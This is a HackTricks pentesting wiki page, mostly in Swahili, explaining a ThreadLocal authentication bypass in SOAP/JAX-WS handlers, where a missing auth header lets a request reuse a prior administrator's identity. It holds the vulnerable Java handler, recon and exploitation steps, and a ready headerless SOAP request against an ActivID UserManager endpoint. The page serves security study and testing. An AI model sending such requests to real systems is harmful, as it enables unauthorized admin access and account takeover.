SOAP/JAX-WS ThreadLocal Authentication Bypass
Tip
Jifunze na fanya mazoezi ya AWS Hacking:
HackTricks Training AWS Red Team Expert (ARTE)
Jifunze na fanya mazoezi ya GCP Hacking:HackTricks Training GCP Red Team Expert (GRTE)
Jifunze na fanya mazoezi ya Azure Hacking:
HackTricks Training Azure Red Team Expert (AzRTE)
Support HackTricks
- Angalia mpango wa usajili!
- Jiunge na 💬 kikundi cha Discord au kikundi cha telegram au tufuatilie kwenye Twitter 🐦 @hacktricks_live.
- Shiriki mbinu za hacking kwa kuwasilisha PRs kwa HackTricks na HackTricks Cloud repos za github.
TL;DR
- Baadhi ya middleware chains huhifadhi authenticated
Subject/Principalndani ya staticThreadLocalna kuirefresh tu wakati proprietary SOAP header inapoingia. - Kwa sababu WebLogic/JBoss/GlassFish hurudia kutumia worker threads, kuacha header hiyo husababisha
Subjectya mwisho yenye privileges iliyosindikizwa na thread kutumika tena bila kusababisha tahadhari. - Shambulia endpoint dhaifu kwa bodies za SOAP bila header lakini zenye muundo sahihi hadi thread iliyotumiwa tena itakuwezesha kupata muktadha wa administrator uliyoibwa.
Root Cause
Handlers similar to the following only overwrite the thread-local identity when the custom header is present, so the previous request’s context survives:
public boolean handleMessage(SOAPMessageContext ctx) {
if (!outbound) {
SOAPHeader hdr = ctx.getMessage().getSOAPPart().getEnvelope().getHeader();
SOAPHeaderElement e = findHeader(hdr, subjectName);
if (e != null) {
SubjectHolder.setSubject(unmarshal(e));
}
}
return true;
}
Recon
- Taja kanuni za reverse proxy / routing ili kubaini miti iliyofichwa ya SOAP ambayo inaweza kuzuia
?wsdllakini inakubali POSTs (zifanye ramani pamoja na mtiririko katika 80,443 - Pentesting Web Methodology). - Fungua artifacts za EAR/WAR/EJB (
unzip *.ear) na kaguaapplication.xml,web.xml,@WebServiceannotations, na handler chains (mfano,LoginHandlerChain.xml) ili kugundua handler class, SOAP header QName, na majina ya EJB yanayounga mkono. - Iki metadata haipo, fanya brute-force kwenye njia za
ServiceName?wsdlzinazowezekana au pusha proxies za lab kwa muda, kisha ingiza WSDL yoyote uliyoipata kwenye zana kama Burp Suite Wsdler ili kutengeneza envelopes za msingi. - Kagua vyanzo vya handler kutafuta
ThreadLocalkeepers (mfano,SubjectHolder.setSubject()) ambazo hazifutwi kamwe wakati header ya uthibitisho haipo au imeharibika.
Exploitation
- Tuma ombi halali na header ya proprietary ili ujifunze normal response codes na makosa yanayotumika kwa invalid tokens.
- Tuma tena body ile ile ya SOAP huku ukiacha header. Hakikisha XML iko well-formed na heshimu namespaces zinazohitajika ili handler iondoke kwa usafi.
- Rudia ombi hilo; wakati linapofika kwenye thread ambayo hapo awali ilitekeleza kitendo chenye haki za ziada,
Subjectiliyotumika tena itaweka wazi operesheni zilizoambukizwa kama vile user au credential managers.
POST /ac-iasp-backend-jaxws/UserManager HTTP/1.1
Host: target
Content-Type: text/xml;charset=UTF-8
<soapenv:Envelope xmlns:soapenv="http://schemas.xmlsoap.org/soap/envelope/"
xmlns:jax="http://jaxws.user.frontend.iasp.service.actividentity.com">
<soapenv:Header/>
<soapenv:Body>
<jax:findUserIds>
<arg0></arg0>
<arg1>spl*</arg1>
</jax:findUserIds>
</soapenv:Body>
</soapenv:Envelope>
Kuthibitisha Hitilafu
- Ambatanisha JDWP (
-agentlib:jdwp=transport=dt_socket,server=y,address=5005,suspend=n) au debugging hooks zinazofanana ili kuangalia yaliyomo yaThreadLocalkabla na baada ya kila mwito, ukithibitisha kwamba ombi lisilothibitishwa liliwarithishaSubjectya msimamizi wa awali.
Marejeo
- Synacktiv – ActivID administrator account takeover: the story behind HID-PSA-2025-002
- PortSwigger – Wsdler (WSDL parser) extension
Tip
Jifunze na fanya mazoezi ya AWS Hacking:
HackTricks Training AWS Red Team Expert (ARTE)
Jifunze na fanya mazoezi ya GCP Hacking:HackTricks Training GCP Red Team Expert (GRTE)
Jifunze na fanya mazoezi ya Azure Hacking:
HackTricks Training Azure Red Team Expert (AzRTE)
Support HackTricks
- Angalia mpango wa usajili!
- Jiunge na 💬 kikundi cha Discord au kikundi cha telegram au tufuatilie kwenye Twitter 🐦 @hacktricks_live.
- Shiriki mbinu za hacking kwa kuwasilisha PRs kwa HackTricks na HackTricks Cloud repos za github.
HackTricks

